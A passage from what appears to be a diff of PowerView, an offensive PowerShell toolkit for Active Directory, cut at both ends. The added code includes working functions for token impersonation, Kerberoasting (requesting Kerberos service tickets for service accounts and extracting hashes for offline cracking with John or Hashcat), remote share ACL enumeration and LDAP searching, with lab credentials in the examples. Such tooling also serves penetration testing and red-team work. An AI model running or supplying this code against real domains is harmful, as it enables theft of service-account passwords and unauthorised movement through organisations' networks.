ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path + ) + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" + $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully ummounted" + } + else { + Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Invoke-UserImpersonation { +<# +.SYNOPSIS + +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object with alternate credentials +to impersonate in the current thread space. + +.PARAMETER TokenHandle + +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +.PARAMETER Quiet + +Suppress any warnings about STA vs MTA. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +.OUTPUTS + +IntPtr + +The TokenHandle result from LogonUser. +#> + + [OutputType([IntPtr])] + [CmdletBinding(DefaultParameterSetName = 'Credential')] + Param( + [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] + [ValidateNotNull()] + [IntPtr] + $TokenHandle, + + [Switch] + $Quiet + ) + + if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { + Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." + } + + if ($PSBoundParameters['TokenHandle']) { + $LogonTokenHandle = $TokenHandle + } + else { + $LogonTokenHandle = [IntPtr]::Zero + $NetworkCredential = $Credential.GetNetworkCredential() + $UserDomain = $NetworkCredential.Domain + $UserName = $NetworkCredential.UserName + Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" + + # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 + # this is to simulate "runas.exe /netonly" functionality + $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + } + + # actually impersonate the token from LogonUser() + $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) + + if (-not $Result) { + throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" + $LogonTokenHandle +} + + +function Invoke-RevertToSelf { +<# +.SYNOPSIS + +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +.PARAMETER TokenHandle + +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token +#> + + [CmdletBinding()] + Param( + [ValidateNotNull()] + [IntPtr] + $TokenHandle + ) + + if ($PSBoundParameters['TokenHandle']) { + Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" + $Result = $Kernel32::CloseHandle($TokenHandle) + } + + $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" +} + + +function Get-DomainSPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +.EXAMPLE + +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] + Param ( + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] + [Alias('ServicePrincipalName')] + [String[]] + $SPN, + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName + } + else { + $UserSPN = $Object + $SamAccountName = $Null + $DistinguishedName = $Null + } + + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { + $UserSPN = $UserSPN[0] + } + + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + if ($Ticket) { + $TicketByteStream = $Ticket.GetRequest() + } + if ($TicketByteStream) { + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' + $Parts.RemoveAt($Parts.Count - 1) + $Hash = $Parts -join 'A48201' + $Hash = $Hash.Insert(32, '$') + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$unknown:$Hash" + } + else { + # hashcat output format + $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + Write-Output $Out + break + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Invoke-Kerberoast { +<# +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +.DESCRIPTION + +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat . + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Invoke-Kerberoast | fl + +.EXAMPLE + +Invoke-Kerberoast -Domain dev.testlab.local | fl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose | fl + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.SPNTicket')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $UserSearcherArguments = @{ + 'SPN' = $True + 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' + } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } + Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-PathAcl { +<# +.SYNOPSIS + +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +.DESCRIPTION + +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +.PARAMETER Path + +Specifies the local or remote path to enumerate the ACLs for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target path. + +.EXAMPLE + +Get-PathAcl "\\SERVER\Share\" + +Returns ACLs for the given UNC share. + +.EXAMPLE + +gci .\test.txt | Get-PathAcl + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred + +.INPUTS + +String + +One of more paths to enumerate ACLs for. + +.OUTPUTS + +PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FileACL')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName')] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + + function Convert-FileRight { + # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + [CmdletBinding()] + Param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | ForEach-Object { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] } + ($Permissions | Where-Object {$_}) -join ',' + } + + $ConvertArguments = @{} + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $MappedComputers = @{} + } + + PROCESS { + ForEach ($TargetPath in $Path) { + try { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $ACL = Get-Acl -Path $TargetPath + + $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + $SID = $_.IdentityReference.Value + $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $TargetPath + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name + $Out | Add-Member Noteproperty 'IdentitySID' $SID + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL') + $Out + } + } + catch { + Write-Verbose "[Get-PathAcl] error: $_" + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +function Convert-LDAPProperty { +<# +.SYNOPSIS + +Helper that converts specific LDAP property result fields and outputs +a custom psobject. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts a set of raw LDAP properties results from ADSI/LDAP searches +into a proper PSObject. Used by several of the Get-Domain* function. + +.PARAMETER Properties + +Properties object to extract out LDAP fields for display. + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject with LDAP hashtable properties translated. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if ($_ -ne 'adspath') { + if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value + } + elseif ($_ -eq 'objectguid') { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif ($_ -eq 'ntsecuritydescriptor') { + $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + # otherwise just a string + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + Write-Verbose "[Convert-LDAPProperty] error: $_" + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif ($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + } try { - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) - $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") - $ProxyServer = $RegKey.GetValue('ProxyServer') - $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" + } +} + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +function Get-DomainSearcher { +<# +.SYNOPSIS + +Helper used by various functions that builds a custom AD searcher object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain + +.DESCRIPTION + +Takes a given domain and a number of customizations and returns a +System.DirectoryServices.DirectorySearcher object. This function is used +heavily by other LDAP/ADSI searcher functions (Verb-Domain*). + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER SearchBasePrefix + +Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration"). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the search. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local + +Return a searcher for all objects in testlab.local. + +.EXAMPLE + +Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon' + +Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties. + +.EXAMPLE + +Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU). + +.OUTPUTS + +System.DirectoryServices.DirectorySearcher +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.DirectoryServices.DirectorySearcher')] + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [String] + $SearchBasePrefix, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit = 120, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + if ($PSBoundParameters['Domain']) { + $TargetDomain = $Domain + } + else { + # if not -Domain is specified, retrieve the current domain name + if ($PSBoundParameters['Credential']) { + $DomainObject = Get-Domain -Credential $Credential + } + else { + $DomainObject = Get-Domain + } + $TargetDomain = $DomainObject.Name + } + + if (-not $PSBoundParameters['Server']) { + # if there's not a specified server to bind to, try to pull the current domain PDC + try { + if ($DomainObject) { + $BindServer = $DomainObject.PdcRoleOwner.Name + } + elseif ($PSBoundParameters['Credential']) { + $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name + } + else { + $BindServer = ((Get-Domain).PdcRoleOwner).Name + } + } + catch { + throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" + } + } + + $SearchString = 'LDAP://' + + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' + } + else { + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } + } + else { + $DN = $SearchBase + } + } + } + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } + } + + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search string: $SearchString" + + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } + + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } + + $Searcher + } +} + + +function Convert-DNSRecord { +<# +.SYNOPSIS + +Helpers that decodes a binary DNS record blob. + +Author: Michael B. Smith, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Decodes a binary blob 